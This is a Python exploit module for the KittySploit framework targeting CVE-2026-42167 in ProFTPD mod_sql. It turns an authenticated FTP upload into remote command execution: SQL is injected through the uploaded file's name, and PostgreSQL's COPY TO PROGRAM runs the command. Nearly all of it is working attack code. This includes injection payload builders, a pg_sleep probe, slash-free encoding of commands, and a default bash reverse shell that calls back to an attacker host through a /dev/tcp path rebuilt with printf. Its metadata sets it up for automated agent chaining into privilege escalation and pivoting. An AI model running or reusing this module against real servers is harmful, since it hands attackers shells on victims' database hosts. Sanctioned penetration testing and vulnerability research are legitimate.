ProFTPD mod_sql STOR basename RCE (CVE-2026-42167)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-42167 — Post-auth ProFTPD STOR basename SQLi → COPY TO PROGRAM RCE."""

from __future__ import annotations

import base64
import io
import threading
import time
from typing import Tuple

import ftplib

from kittysploit import *
from lib.exploit.handler import Reverse
from lib.protocols.ftp.ftp_client import FTPClientMixin


class Module(Post, FTPClientMixin, Reverse):
    __info__ = {
        "name": "ProFTPD mod_sql STOR basename RCE (CVE-2026-42167)",
        "description": (
            "CVE-2026-42167 post-auth variant: an authenticated FTP user uploads a file "
            "whose basename starts/ends with a single quote (is_escaped_text bypass) and "
            "embeds stacked SQL. With SQLLog STOR logging %{basename} into PostgreSQL, "
            "COPY TO PROGRAM runs an OS command on the DB host. Filenames cannot contain "
            "'/' — reverse shells smuggle /dev/tcp via printf octal (\\57)."
        ),
        "author": ["ZeroPath", "KittySploit Team"],
        "cve": ["CVE-2026-42167"],
        "platform": Platform.LINUX,
        "session_type": SessionType.FTP,
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-42167",
            "https://www.openwall.com/lists/oss-security/2026/05/01/4",
            "https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce",
            "https://github.com/proftpd/proftpd/issues/2052",
            "https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc",
        ],
        "tags": [
            "proftpd",
            "ftp",
            "mod_sql",
            "postgresql",
            "sqli",
            "rce",
            "stor",
            "postauth",
            "cwe-89",
            "cwe-78",
            "cve-2026-42167",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["proftpd", "ftp", "postgresql"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": True,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    command = OptString(
        "",
        "OS command for COPY TO PROGRAM (empty = bash reverse shell to callback_host:lport)",
        required=False,
    )
    callback_host = OptString(
        "",
        "Address embedded in reverse shell (defaults to lhost; use host.docker.internal for Docker)",
        required=False,
    )
    ftp_password = OptString(
        "",
        "FTP password for a fresh STOR connection (defaults to session password)",
        required=False,
        advanced=True,
    )
    sleep_seconds = OptInteger(
        3,
        "Seconds for check() pg_sleep timing probe via STOR",
        required=False,
        advanced=True,
    )
    wait_seconds = OptInteger(
        15,
        "Seconds to wait for reverse-shell callback after STOR",
        required=False,
    )
    inject_timeout = OptInteger(
        300,
        "Timeout for the STOR FTP session while COPY TO PROGRAM is running",
        required=False,
        advanced=True,
    )

    _DOLLAR_TAG = "ks"

    def _session_ftp(self):
        sid = str(self.session_id or "").strip()
        if not sid:
            return None
        if not self.framework or not hasattr(self.framework, "session_manager"):
            return None
        return self.framework.session_manager.get_session(sid)

    def _credentials(self) -> Tuple[str, int, str, str]:
        info = self.get_ftp_connection_info()
        host = str(info.get("host") or "").strip()
        try:
            port = int(info.get("port") or 21)
        except Exception:
            port = 21
        user = str(info.get("username") or "").strip()

        password = str(self.ftp_password or "").strip()
        if not password:
            session = self._session_ftp()
            data = getattr(session, "data", None) if session else None
            if isinstance(data, dict):
                password = str(data.get("password") or "")
        return host, port, user, password

    @classmethod
    def _passes_is_escaped_text(cls, value: str) -> bool:
        if len(value) < 2:
            return False
        if value[0] != "'" or value[-1] != "'":
            return False
        return "'" not in value[1:-1]

    @classmethod
    def _filename_safe(cls, value: str) -> bool:
        return cls._passes_is_escaped_text(value) and "/" not in value

    @classmethod
    def _slash_quote_safe_shell(cls, command: str) -> str:
        """Make a shell command safe for STOR basename (no '/' and no internal ')."""
        cmd = command.strip()
        if not cmd:
            raise ValueError("empty command")
        tag = f"${cls._DOLLAR_TAG}$"
        if "'" not in cmd and "/" not in cmd and "$$" not in cmd and tag not in cmd:
            return cmd

        # Standard base64 can contain '/'; map it to '_' then restore via printf octal.
        b64 = base64.b64encode(cmd.encode("utf-8")).decode("ascii").replace("/", "_")
        # \57 is octal '/' — must appear as backslash-57 in the remote shell string.
        wrapped = f'echo {b64}|tr _ "$(printf "\\57")"|base64 -d|bash'
        if "'" in wrapped or "/" in wrapped or "$$" in wrapped:
            raise ValueError("unable to build slash/quote-safe shell command")
        return wrapped

    @classmethod
    def _build_reverse_shell(cls, host: str, port: int) -> str:
        host = str(host).strip()
        if not host:
            raise ValueError("callback host is required")
        if "/" in host or "'" in host:
            raise ValueError("callback host must not contain '/' or \"'\"")
        # printf reconstitutes /dev/tcp/<host>/<port> without literal '/' in the filename.
        return (
            f'S=$(printf "\\57dev\\57tcp\\57{host}\\57{int(port)}");'
            f'bash -c "bash -i >& $S 0>&1"'
        )

    @classmethod
    def _build_stor_filename(cls, shell_cmd: str) -> str:
        tag = cls._DOLLAR_TAG
        safe = cls._slash_quote_safe_shell(shell_cmd)
        payload = (
            f"', null, null); "
            f"COPY (SELECT ${tag}$x${tag}$) TO PROGRAM "
            f"${tag}${safe}${tag}$"
            f"; --'"
        )
        if not cls._filename_safe(payload):
            raise ValueError(
                "STOR filename fails is_escaped_text()/no-slash constraints"
            )
        return payload

    @classmethod
    def _build_sleep_filename(cls, seconds: int) -> str:
        sec = max(1, int(seconds))
        payload = f"', null, null); SELECT pg_sleep({sec}); --'"
        if not cls._filename_safe(payload):
            raise ValueError("sleep STOR filename invalid")
        return payload

    def _resolve_shell_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual

        lhost = str(self.lhost or "").strip()
        callback = str(self.callback_host or "").strip() or lhost
        if not callback or callback in ("0.0.0.0", "::", "[::]"):
            raise ValueError(
                "Set callback_host (or a reachable lhost) — reverse shell target "
                "cannot be 0.0.0.0"
            )
        try:
            lport = int(self.lport)
        except Exception:
            lport = 4444
        return self._build_reverse_shell(callback, lport)

    def _fresh_ftp(self, host: str, port: int, user: str, password: str, timeout: float):
        ftp = ftplib.FTP()
        ftp.connect(host, int(port), timeout=timeout)
        ftp.login(user, password)
        return ftp

    def _stor_payload(self, filename: str, timeout: float) -> None:
        host, port, user, password = self._credentials()
        if not host or host == "unknown" or not user:
            raise RuntimeError("FTP host/username unavailable from session")
        ftp = self._fresh_ftp(host, port, user, password, min(timeout, 30.0))
        try:
            # COPY TO PROGRAM blocks until the child exits — expected for reverse shells.
            ftp.storbinary(f"STOR {filename}", io.BytesIO(b"trigger"))
        finally:
            try:
                ftp.quit()
            except Exception:
                try:
                    ftp.close()
                except Exception:
                    pass

    def check(self):
        sid = str(self.session_id or "").strip()
        if not sid:
            print_error("Session ID not set")
            return False
        session = self._session_ftp()
        if not session:
            print_error(f"Session {sid} not found")
            return False

        host, port, user, password = self._credentials()
        if not host or host == "unknown" or not user:
            print_error("Could not resolve FTP credentials from session")
            return False

        sleep_s = max(1, int(self.sleep_seconds or 3))
        try:
            filename = self._build_sleep_filename(sleep_s)
        except ValueError as exc:
            print_error(str(exc))
            return False

        print_status(
            f"Probing pre-STOR SQLLog via pg_sleep({sleep_s}) as {user}@{host}:{port}"
        )
        started = time.time()
        try:
            self._stor_payload(filename, timeout=float(sleep_s + 10))
        except Exception as exc:
            print_warning(f"STOR probe ended with: {exc}")
        elapsed = time.time() - started

        if elapsed >= (sleep_s - 0.4):
            print_success(
                f"Post-auth stacked SQL confirmed via STOR (elapsed {elapsed:.1f}s)"
            )
            return True

        print_warning(
            f"Timing probe did not delay ({elapsed:.1f}s) — SQLLog STOR / postgres "
            "may be absent, patched, or not logging %{{basename}}"
        )
        # Session is still usable; allow run() for labs where sleep is filtered.
        try:
            self.open_ftp()
            return True
        except Exception as exc:
            print_error(f"FTP session check failed: {exc}")
            return False

    def run(self):
        sid = str(self.session_id or "").strip()
        if not sid:
            print_error("Session ID not set")
            return False
        if not self._session_ftp():
            print_error(f"Session {sid} not found")
            return False

        host, port, user, _password = self._credentials()
        print_status("CVE-2026-42167 — ProFTPD post-auth STOR basename COPY TO PROGRAM RCE")
        print_info(f"FTP session: {user}@{host}:{port}")

        try:
            shell_cmd = self._resolve_shell_command()
            filename = self._build_stor_filename(shell_cmd)
            safe_shell = self._slash_quote_safe_shell(shell_cmd)
        except ValueError as exc:
            print_error(str(exc))
            return False

        use_reverse = not bool(str(self.command or "").strip())
        if use_reverse:
            if not self.start_handler():
                return False
            time.sleep(0.4)

        print_status("Uploading crafted STOR filename (SQL injection)...")
        print_info(f"Shell command: {safe_shell[:140]}{'...' if len(safe_shell) > 140 else ''}")
        print_info(f"Filename: {len(filename)} bytes, no '/' and no internal \"'\"")
        print_info(
            "Requires SQLLog STOR on %{{basename}}, PostgreSQL, and COPY TO PROGRAM rights"
        )

        timeout = float(max(int(self.inject_timeout or 300), 30))
        err_box: list = []

        def fire():
            time.sleep(0.3)
            try:
                self._stor_payload(filename, timeout=timeout)
            except Exception as exc:
                err_box.append(exc)

        threading.Thread(target=fire, daemon=True).start()
        print_success("STOR injection dispatched")

        if use_reverse:
            wait_s = max(1, int(self.wait_seconds or 15))
            print_status(f"Waiting up to {wait_s}s for reverse shell callback...")
            time.sleep(wait_s)
            if err_box:
                print_warning(f"STOR thread reported: {err_box[0]}")
            print_info("If a session was created, interact via sessions / shells")
            return True

        # One-shot command: give COPY a moment, then surface STOR errors.
        time.sleep(2.0)
        if err_box:
            print_warning(f"STOR finished with: {err_box[0]}")
        else:
            print_success("STOR completed (command may have already exited)")
        return True